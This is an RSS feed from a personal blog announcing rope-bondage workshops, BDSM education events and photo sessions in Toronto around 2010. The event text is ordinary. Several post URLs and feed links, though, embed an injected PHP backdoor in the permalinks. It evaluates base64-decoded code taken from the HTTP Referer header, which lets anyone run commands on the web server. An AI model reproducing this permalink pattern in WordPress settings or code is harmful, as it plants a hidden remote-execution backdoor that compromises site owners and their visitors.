The Control Enthusiast » Events http://www.thecontrolenthusiast.com Sat, 05 Feb 2011 20:46:39 +0000 http://wordpress.org/?v=2.8.5 en hourly 1 Girls On Film II: Lavish http://www.thecontrolenthusiast.com/2010/08/15/girls-on-film-ii-lavish/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/08/15/girls-on-film-ii-lavish/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 15 Aug 2010 21:28:30 +0000 control http://www.thecontrolenthusiast.com/?p=713

Tuesday August 24th, The Keyhole Sessions is presenting its second Girls On Film special event. 5 models, one rigger, one Madame, two hours of shooting in a very decadent space. Our location this time is The Foundation Room, right at the foot of Church Street here in Toronto.
Our last Girls On Film event was heaps of fun and produced some fantastic work. This time around, we’ve got the chance to step it up a notch and hope the photographers who decide to join us are ready for it.
Tickets have to be purchased in advance, to guarantee we have enough interest to make the night worthwhile. Click here for our Eventbrite page to purchase tickets.

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You can find more information about this Friday, and all of their other workshops here. I’ve also got two workshops coming up later in the month at Lucky You!. More information about those on Lucky You’s website and also in the Work section of this site.

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So this post is a bit of a plug for a good friend, but for an event I think would be amazingly valuable for a lot of people. It’s certainly something I would love to attend but can’t make it out to (this time around, at least). Midori & Laura Antoniou’s weekend-long workshop on playing with power, “Passionate Bonds” comes to Toronto this July 30th, sponsored by Northbound Leather.

From her website:

“Join Marketplace author Laura Antoniou and educator Midori for a special weekend intensive designed for people who enjoy authentic power dynamics and D/s, who want to consciously create quality relationships that suit their personal hungers and needs in the context of the real world.
Through the unique curriculum and its innovative tools, each individual or relationship unit will create their own customized manual of effective protocol, rules, etiquettes and codes of conduct. “

Click here for more information about the weekend, and to purchase tickets.

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So this past Tuesday was our last Keyhole Session of the season and it was a pretty fantastic night. Not that that means we’re going to be totally absent over the summer. In August, there’s talk of doing another Girls on Film session, seeing as how the first one was so successful. Nothing’s confirmed yet, but once it is I’ll be posting about it here & elsewhere.
Before that happens, however, we have this: SneakPeek. From July 8th to July 13th we’ll be showing off some of the best artwork that’s come out of the past 55 Keyhole Sessions at the Gladstone Art Bar, here in Toronto. Click through to find more information about both the exhibition and our Gala opening on July 10th. There’s a chance, space & time allowing, that I’ll be doing a bit of a demo at the opening. Hopefully I can find myself a little corner I can tie in…

]]> http://www.thecontrolenthusiast.com/2010/07/01/sneakpeak/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 After A While, Again. http://www.thecontrolenthusiast.com/2010/05/27/after-a-while-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/05/27/after-a-while-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 27 May 2010 04:12:38 +0000 control http://www.thecontrolenthusiast.com/?p=630 Wow, so, since April 27th…

The ToroGRUE 2 happened. After a lively meet & greet Friday night, Saturday was a day full of amazing discussions from a mix of brilliant minds. Sunday, lots of pancakes happened, made by Men in Kilts, followed by a little bit more GRUEing. I don’t think any of us were expecting the Sunday session to continue quite as it did, but I for one loved it. Graydancer has a post up about his impressions of this GRUE – the second in Toronto, and certainly not the last – as well as what I think might be the best picture of him and I I’ve seen to date:

Men In Kilts With Kitchen Implements

Men In Kilts With Kitchen Implements

Our first ever Girls on Film Keyhole Session happened. Lots of fantastic shots came out of that night. A sure success, and one we’ll for sure be repeating. I had a LOT of fun, tying for Keyhole in a way I don’t often get a chance to. Fast, and for restraint as opposed to purely aesthetics. A pretty complete collection of shots from that night can be found here One of my favourite shots of the evening, below, was taken by VoulaVous and I think is simply lovely.

The following week The Keyhole Sessions and Art Battle Toronto teamed up for Art Battle 6. The final Battle of that night was two artists painting two of our models. I tied in front of the Art Battle crowd… not sure what they were expecting but they were certainly paying attention. Sonya shot a video of me tying, which is good as it shows the crowd around us but I still find it very strange watching myself tie on video.

As a result of my work with The Keyhole Sessions I’ve been invited to give a workshop on Tying the Female Form as part of Kinky4Play. That’s happening mid-August. I’ll post more details as they come up.

I discovered a new online artist (thanks to a blog post by Violet Blue) whose work I admire and am following with great interest. Ben Newman keeps a blog at bennewmanart.blogspot.com and is very much worth a look. Here’s a sample piece of his. (I am such a fan of the red rope in this.)

Handle with Care by Ben Newman

"Handle with Care" by Ben Newman

Part of the Sunday session at the GRUE was a discussion I led (after making many pancakes and watching Graydancer wrassle with my partner A.) on Philosophies of Service. I’m expanding that with more notes and thoughts, with the idea of eventually turning it into a class. Yes, I’d like to get on that touring circuit. But I don’t feel any great need to get on that circuit as a rope educator. At least, not at this moment. Who knows, that may change with time.

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Just an update for all current – and potential! – ToroGRUE 2 participants. We’ll be holding our meet & greet on Friday night at the Rhino, 1249 Queen Street West in Toronto. Here’s a Google Maps link to the location (http://vb.ly/2822) and a link to the restaurant’s website (http://therhino.ca/contents.html). I’ll be reachable by email the whole time, for those who might need directional help.

Graydancer and I will be there as of 7pm, and we’ll grab a table near the back of the restaurant. Look for us towards the right-hand side, near the back. I’ll have a coil of red rope on the table, just so you know exactly where to go! We’ll wrap the meet & greet up around 9pm, giving us enough time to rest up and do some last-minute preparing before kicking the ToroGRUE off at 9am Saturday morning.

We still have a lot of space left at the GRUE this year. In some ways it’s a bit of a hard sell, trying to get people out to participate and not just absorb knowledge. If you know of anyone who might be interested in attending, please do feel free to forward this email to them. They don’t have to pre-register – we can accept payment at the door. I’ve said it before – the more brains we have out the better the event will be.

Thanks again to all of you who are coming out. I’m really looking forward to it this year.

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A pic from last week’s Keyhole Session, featuring Madison Young and Dylan Ryan posing and playing to a packed house. Thanks, as always, to Nathaniel for grabbing the shot.
This month at Keyhole we’re doing something a little special. Our first contest, TEASE, happens all through April, a celebration of moving out of the dour long winter. Each time you show up to a session, your name gets entered into a draw for one of three prizes. Bring someone new with you, your name goes in again. Show up for all FOUR weeks in April, and you get a third extra chance. Full rules and the list of prizes can be found at TheKeyholeSessions.com.

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Thanks to Nathaniel for the pic & AJ for standing still

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Sometimes all of this thinking and talking and geeking about sex & technology pays off. My lovely friend Danielle has offered me a spot on a panel at Northern Voice 2010, a personal blogging and social media conference happening in Vancouver this upcoming May 7-8. It’s the 6th annual incarnation of the event and something I’m really excited to potentially be a part of.
My potential co-panelists make the whole thing even more exciting. Dylan Ryan, my performance partner for Femina Potens’ most recent Art of Restraint event; Courtney Trouble director & entrepreneur from nofauxxx.com and Little Pink Book; and Jiz Lee, the prolific blogger and performer from jizlee.com. All of whom I would be totally honoured to share some speaking time with.
Obviously the conference’s focus on all forms of social media make it kind of an ideal fit for all of us. My blogging and social media engagement have kind of gone hand-in-hand, in many ways, with my sexual development and exploration. To say that my online community connections and support structure has played a part in my growing understanding of myself as a sexual being would be an understatement. Those connections, my online engagement, has been integral to that understanding, and continues to be so.
Then there’s my professional engagement with social media. I work for a company here in Toronto that produces digital media events, and this year, for the first time since I started working for the company, we’re addressing the adult industry head-on. Quite frankly I’m happy we’re doing it, finally, as I think it’s been lacking from our events. I feel like you can’t have a conversation about online social engagement without talking about sex, and yet, it seems to be a subject pretty easily ignored – or at least laughingly dismissed – at most digital media events. For Northern Voice to be wanting to address this topic head-on is pretty fantastic of them, and I for one look forward to the chance to throw my voice and thoughts into the discussion.
There’s a travel bursary that Northern Voice is offering, to participants in need. Flying across the country isn’t so cheap, and the travel bursary would help a lot. Hopefully I’m an attractive enough potential speaker to make me worth the grant.
Photo by @kk

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I’m bringing you yet another event I’m involved in around the time of the Feminist Porn Awards. This time I’m very happy to be presenting, with the help of both Good For Her and Northbound Leather, a workshop entitled “BDSM and Anal Play” with the lovely and talented Tristan Taormino.
I recently saw Tristan speak at U of T’s “Porn Reborn” conference and it made me even more excited to organize and participate in this workshop. She’s a fantastic presenter and a very engaging speaker. I’d written a review of her book “Opening Up” a while back – a book that remains my primary (ha!) recommendation to anyone interested in exploring ethical non-monogamy in whatever form. You can read that review here.
This workshop will take place on Sunday April 11th from 2pm to 4pm at Northbound Leather. To get more information and purchase tickets to the event, click here. It’s a small room at Northbound, and space will be limited, so if you want to hear about All Things Anal from someone who really knows what she’s talking about, grab your tickets now.

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